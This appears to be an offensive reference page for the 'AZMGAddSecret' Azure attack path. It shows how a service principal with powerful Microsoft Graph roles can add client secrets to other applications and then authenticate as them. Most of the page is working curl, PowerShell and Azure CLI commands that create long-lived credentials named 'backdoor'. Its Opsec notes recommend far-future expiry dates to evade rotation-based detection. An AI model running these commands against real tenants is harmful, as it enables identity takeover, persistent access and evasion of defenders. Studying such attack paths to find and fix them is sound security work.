AZMGAddSecret
The source service principal holds MS Graph app roles (Application.ReadWrite.All or RoleManagement.ReadWrite.Directory) that allow it to add client secrets or certificates to any app registration or service principal.
Applies to: AZServicePrincipal β AZApplication / AZServicePrincipal
Linux Abuse
Get client credentials token
TOKEN=$(curl -s -X POST \
"https://login.microsoftonline.com/<tenant-id>/oauth2/v2.0/token" \
-d "client_id=<app-id>&client_secret=<secret>&scope=https://graph.microsoft.com/.default&grant_type=client_credentials" \
| jq -r '.access_token')
Add secret to app registration (Graph API)
curl -s -X POST "https://graph.microsoft.com/v1.0/applications/<object-id>/addPassword" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"passwordCredential": {"displayName": "backup", "endDateTime": "2099-01-01T00:00:00Z"}}' \
| jq '{secretText: .secretText, keyId: .keyId}'
Add secret to service principal (Graph API)
curl -s -X POST "https://graph.microsoft.com/v1.0/servicePrincipals/<object-id>/addPassword" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"passwordCredential": {"displayName": "backup"}}' \
| jq '{secretText: .secretText, keyId: .keyId}'
Use new secret to authenticate as target SP
NEW_TOKEN=$(curl -s -X POST \
"https://login.microsoftonline.com/<tenant-id>/oauth2/v2.0/token" \
-d "client_id=<app-id>&client_secret=<new-secret>&scope=https://graph.microsoft.com/.default&grant_type=client_credentials" \
| jq -r '.access_token')
Windows Abuse
BARK β get token and add secret
$MGToken = Get-MSGraphTokenWithClientCredentials `
-ClientID "34c7f844-b6d7-47f3-b1b8-720e0ecba49c" `
-ClientSecret "asdf..." `
-TenantName "contoso.onmicrosoft.com"
New-EntraAppSecret `
-AppRegObjectID "<object-id>" `
-Token $MGToken.access_token
Authenticate as target SP with new secret
$SPToken = Get-MSGraphTokenWithClientCredentials `
-ClientID "<target-app-id>" `
-ClientSecret "<new-secret-value>" `
-TenantName "contoso.onmicrosoft.com"
Microsoft.Graph PowerShell
Connect-MgGraph -AccessToken <access-token>
# Add secret to app registration
$secret = Add-MgApplicationPassword -ApplicationId <object-id> `
-PasswordCredential @{DisplayName = "backdoor"; EndDateTime = "2099-01-01T00:00:00Z"}
$secret.SecretText
# Add secret to service principal
$secret = Add-MgServicePrincipalPassword -ServicePrincipalId <object-id> `
-PasswordCredential @{DisplayName = "backdoor"}
$secret.SecretText
Azure CLI β add secret to app
az ad app credential reset \
--id <app-id> \
--append \
--display-name backdoor \
--years 10
Required App Roles
| Permission | App Role ID |
|---|---|
| Application.ReadWrite.All | 1bfefb4e-e0b5-418b-a88f-73c46d2cc8e9 |
| RoleManagement.ReadWrite.Directory | 9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8 |
Opsec
- Audit event: "Update application - Certificates and secrets management" β logs actor, target app, timestamp.
- The new secret value is only shown at creation time β capture it immediately.
- Secrets set far in the future (
2099) avoid expiry-based rotation detection. - Multiple secrets on one app may trigger anomaly alerts in mature environments.